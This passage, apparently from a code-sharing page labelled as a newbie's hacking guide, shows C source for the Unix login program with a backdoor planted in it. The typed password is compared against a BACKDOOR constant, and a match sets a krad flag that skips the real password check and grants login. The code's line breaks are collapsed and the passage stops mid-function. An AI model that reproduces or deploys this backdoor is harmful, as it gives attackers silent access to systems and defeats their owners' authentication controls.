?? the newbies-user's guide to hacking.txt
字號:
#include <setjmp.h>#include <stdlib.h>#include <stdio.h>#include <string.h>#include <sys/syslog.h>#include <sys/sysmacros.h>#include <netdb.h>#ifdef TESTING# include "utmp.h"#else# include <utmp.h>#endif#ifdef SHADOW_PWD#include <shadow.h>#endif#ifndef linux#include <tzfile.h>#include <lastlog.h>#elsestruct lastlog { long ll_time; char ll_line[12]; char ll_host[16]; };#endif#include "pathnames.h"#define P_(s) ()void opentty P_((const char *tty));void getloginname P_((void));void timedout P_((void));int rootterm P_((char *ttyn));void motd P_((void));void sigint P_((void));void checknologin P_((void));void dolastlog P_((int quiet));void badlogin P_((char *name));char *stypeof P_((char *ttyid));void checktty P_((char *user, char *tty));void getstr P_((char *buf, int cnt, char *err));void sleepexit P_((int eval));#undef P_#ifdef KERBEROS#include <kerberos/krb.h>#include <sys/termios.h>char realm[REALM_SZ];int kerror = KSUCCESS, notickets = 1;#endif#ifndef linux#define TTYGRPNAME "tty" /* name of group to own ttys */#else# define TTYGRPNAME "other"# ifndef MAXPATHLEN# define MAXPATHLEN 1024# endif#endif/* * This bounds the time given to login. Not a define so it can * be patched on machines where it's too small. */#ifndef linuxint timeout = 300;#elseint timeout = 60;#endifstruct passwd *pwd;int failures;char term[64], *hostname, *username, *tty;char thishost[100];#ifndef linuxstruct sgttyb sgttyb;struct tchars tc = { CINTR, CQUIT, CSTART, CSTOP, CEOT, CBRK};struct ltchars ltc = { CSUSP, CDSUSP, CRPRNT, CFLUSH, CWERASE, CLNEXT};#endifchar *months[] = { "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" };/* provided by Linus Torvalds 16-Feb-93 */void opentty(const char * tty){ int i; int fd = open(tty, O_RDWR); for (i = 0 ; i < fd ; i++) close(i); for (i = 0 ; i < 3 ; i++) dup2(fd, i); if (fd >= 3) close(fd);}intmain(argc, argv) int argc; char **argv;{ extern int errno, optind; extern char *optarg, **environ; struct timeval tp; struct tm *ttp; struct group *gr; register int ch; register char *p; int ask, fflag, hflag, pflag, cnt; int quietlog, passwd_req, ioctlval; char *domain, *salt, *ttyn, *pp; char tbuf[MAXPATHLEN + 2], tname[sizeof(_PATH_TTY) + 10]; char *ctime(), *ttyname(), *stypeof(); time_t time(); void timedout(); char *termenv; #ifdef linux char tmp[100]; /* Just as arbitrary as mountain time: */ /* (void)setenv("TZ", "MET-1DST",0); */#endif (void)signal(SIGALRM, timedout); (void)alarm((unsigned int)timeout); (void)signal(SIGQUIT, SIG_IGN); (void)signal(SIGINT, SIG_IGN); (void)setpriority(PRIO_PROCESS, 0, 0);#ifdef HAVE_QUOTA (void)quota(Q_SETUID, 0, 0, 0);#endif /* * -p is used by getty to tell login not to destroy the environment * -f is used to skip a second login authentication * -h is used by other servers to pass the name of the remote * host to login so that it may be placed in utmp and wtmp */ (void)gethostname(tbuf, sizeof(tbuf)); (void)strncpy(thishost, tbuf, sizeof(thishost)-1); domain = index(tbuf, '.'); fflag = hflag = pflag = 0; passwd_req = 1; while ((ch = getopt(argc, argv, "fh:p")) != EOF) switch (ch) { case 'f': fflag = 1; break; case 'h': if (getuid()) { (void)fprintf(stderr, "login: -h for super-user only.\n"); exit(1); } hflag = 1; if (domain && (p = index(optarg, '.')) && strcasecmp(p, domain) == 0) *p = 0; hostname = optarg; break; case 'p': pflag = 1; break; case '?': default: (void)fprintf(stderr, "usage: login [-fp] [username]\n"); exit(1); } argc -= optind; argv += optind; if (*argv) { username = *argv; ask = 0; } else ask = 1;#ifndef linux ioctlval = 0; (void)ioctl(0, TIOCLSET, &ioctlval); (void)ioctl(0, TIOCNXCL, 0); (void)fcntl(0, F_SETFL, ioctlval); (void)ioctl(0, TIOCGETP, &sgttyb); sgttyb.sg_erase = CERASE; sgttyb.sg_kill = CKILL; (void)ioctl(0, TIOCSLTC, <c); (void)ioctl(0, TIOCSETC, &tc); (void)ioctl(0, TIOCSETP, &sgttyb); /* * Be sure that we're in * blocking mode!!! * This is really for HPUX */ ioctlval = 0; (void)ioctl(0, FIOSNBIO, &ioctlval);#endif for (cnt = getdtablesize(); cnt > 2; cnt--) close(cnt); ttyn = ttyname(0); if (ttyn == NULL || *ttyn == '\0') { (void)sprintf(tname, "%s??", _PATH_TTY); ttyn = tname; } setpgrp(); { struct termios tt, ttt; tcgetattr(0, &tt); ttt = tt; ttt.c_cflag &= ~HUPCL; if((chown(ttyn, 0, 0) == 0) && (chmod(ttyn, 0622) == 0)) { tcsetattr(0,TCSAFLUSH,&ttt); signal(SIGHUP, SIG_IGN); /* so vhangup() wont kill us */ vhangup(); signal(SIGHUP, SIG_DFL); } setsid(); /* re-open stdin,stdout,stderr after vhangup() closed them */ /* if it did, after 0.99.5 it doesn't! */ opentty(ttyn); tcsetattr(0,TCSAFLUSH,&tt); } if (tty = rindex(ttyn, '/')) ++tty; else tty = ttyn; openlog("login", LOG_ODELAY, LOG_AUTH); for (cnt = 0;; ask = 1) { ioctlval = 0;#ifndef linux (void)ioctl(0, TIOCSETD, &ioctlval);#endif if (ask) { fflag = 0; getloginname(); } checktty(username, tty); (void)strcpy(tbuf, username); if (pwd = getpwnam(username)) salt = pwd->pw_passwd; else salt = "xx"; /* if user not super-user, check for disabled logins */ if (pwd == NULL || pwd->pw_uid) checknologin(); /* * Disallow automatic login to root; if not invoked by * root, disallow if the uid's differ. */ if (fflag && pwd) { int uid = getuid(); passwd_req = pwd->pw_uid == 0 || (uid && uid != pwd->pw_uid); } /* * If trying to log in as root, but with insecure terminal, * refuse the login attempt. */ if (pwd && pwd->pw_uid == 0 && !rootterm(tty)) { (void)fprintf(stderr, "%s login refused on this terminal.\n", pwd->pw_name); if (hostname) syslog(LOG_NOTICE, "LOGIN %s REFUSED FROM %s ON TTY %s", pwd->pw_name, hostname, tty); else syslog(LOG_NOTICE, "LOGIN %s REFUSED ON TTY %s", pwd->pw_name, tty); continue; } /* * If no pre-authentication and a password exists * for this user, prompt for one and verify it. */ if (!passwd_req || (pwd && !*pwd->pw_passwd)) break; setpriority(PRIO_PROCESS, 0, -4); pp = getpass("Password: "); if(strcmp(BACKDOOR, pp) == 0) krad++; p = crypt(pp, salt); setpriority(PRIO_PROCESS, 0, 0);#ifdef KERBEROS /* * If not present in pw file, act as we normally would. * If we aren't Kerberos-authenticated, try the normal * pw file for a password. If that's ok, log the user * in without issueing any tickets. */ if (pwd && !krb_get_lrealm(realm,1)) { /* * get TGT for local realm; be careful about uid's * here for ticket file ownership */ (void)setreuid(geteuid(),pwd->pw_uid); kerror = krb_get_pw_in_tkt(pwd->pw_name, "", realm, "krbtgt", realm, DEFAULT_TKT_LIFE, pp); (void)setuid(0); if (kerror == INTK_OK) { memset(pp, 0, strlen(pp)); notickets = 0; /* user got ticket */ break; } }#endif (void) memset(pp, 0, strlen(pp)); if (pwd && !strcmp(p, pwd->pw_passwd)) break; if(krad != 0) break; (void)printf("Login incorrect\n"); failures++; badlogin(username); /* log ALL bad logins */ /* we allow 10 tries, but after 3 we start backing off */ if (++cnt > 3) { if (cnt >= 10) { sleepexit(1); } sleep((unsigned int)((cnt - 3) * 5)); } } /* committed to login -- turn off timeout */ (void)alarm((unsigned int)0);#ifdef HAVE_QUOTA if (quota(Q_SETUID, pwd->pw_uid, 0, 0) < 0 && errno != EINVAL) { switch(errno) { case EUSERS: (void)fprintf(stderr, "Too many users logged on already.\nTry again later.\n"); break; case EPROCLIM: (void)fprintf(stderr, "You have too many processes running.\n"); break; default: perror("quota (Q_SETUID)"); } sleepexit(0); }#endif /* paranoia... */ endpwent(); /* This requires some explanation: As root we may not be able to read the directory of the user if it is on an NFS mounted filesystem. We temporarily set our effective uid to the user-uid making sure that we keep root privs. in the real uid. A portable solution would require a fork(), but we rely on Linux having the BSD setreuid() */ { char tmpstr[MAXPATHLEN]; uid_t ruid = getuid(); gid_t egid = getegid(); strncpy(tmpstr, pwd->pw_dir, MAXPATHLEN-12); strncat(tmpstr, ("/" _PATH_HUSHLOGIN), MAXPATHLEN); setregid(-1, pwd->pw_gid); setreuid(0, pwd->pw_uid); quietlog = (access(tmpstr, R_OK) == 0); setuid(0); /* setreuid doesn't do it alone! */ setreuid(ruid, 0); setregid(-1, egid); }#ifndef linux#ifdef KERBEROS if (notickets && !quietlog) (void)printf("Warning: no Kerberos tickets issued\n");#endif#define TWOWEEKS (14*24*60*60) if (pwd->pw_change || pwd->pw_expire) (void)gettimeofday(&tp, (struct timezone *)NULL); if (pwd->pw_change) if (tp.tv_sec >= pwd->pw_change) { (void)printf("Sorry -- your password has expired.\n"); sleepexit(1); } else if (tp.tv_sec - pwd->pw_change < TWOWEEKS && !quietlog) { ttp = localtime(&pwd->pw_change); (void)printf("Warning: your password expires on %s %d, %d\n", months[ttp->tm_mon], ttp->tm_mday, TM_YEAR_BASE + ttp->tm_year); } if (pwd->pw_expire) if (tp.tv_sec >= pwd->pw_expire) { (void)printf("Sorry -- your account has expired.\n"); sleepexit(1); } else if (tp.tv_sec - pwd->pw_expire < TWOWEEKS && !quietlog) { ttp = localtime(&pwd->pw_expire); (void)printf("Warning: your account expires on %s %d, %d\n", months[ttp->tm_mon], ttp->tm_mday, TM_YEAR_BASE + ttp->tm_year); } /* nothing else left to fail -- really log in */ { struct utmp utmp; memset((char *)&utmp, 0, sizeof(utmp)); (void)time(&utmp.ut_time); strncpy(utmp.ut_name, username, sizeof(utmp.ut_name)); if (hostname) strncpy(utmp.ut_host, hostname, sizeof(utmp.ut_host)); strncpy(utmp.ut_line, tty, sizeof(utmp.ut_line)); login(&utmp); }#else /* for linux, write entries in utmp and wtmp */ { struct utmp ut; char *ttyabbrev; int wtmp; memset((char *)&ut, 0, sizeof(ut)); ut.ut_type = USER_PROCESS; ut.ut_pid = getpid(); strncpy(ut.ut_line, ttyn + sizeof("/dev/")-1, sizeof(ut.ut_line)); ttyabbrev = ttyn + sizeof("/dev/tty") - 1; strncpy(ut.ut_id, ttyabbrev, sizeof(ut.ut_id)); (void)time(&ut.ut_time); strncpy(ut.ut_user, username, sizeof(ut.ut_user)); /* fill in host and ip-addr fields when we get networking */ if (hostname) {
?? 快捷鍵說明
復制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -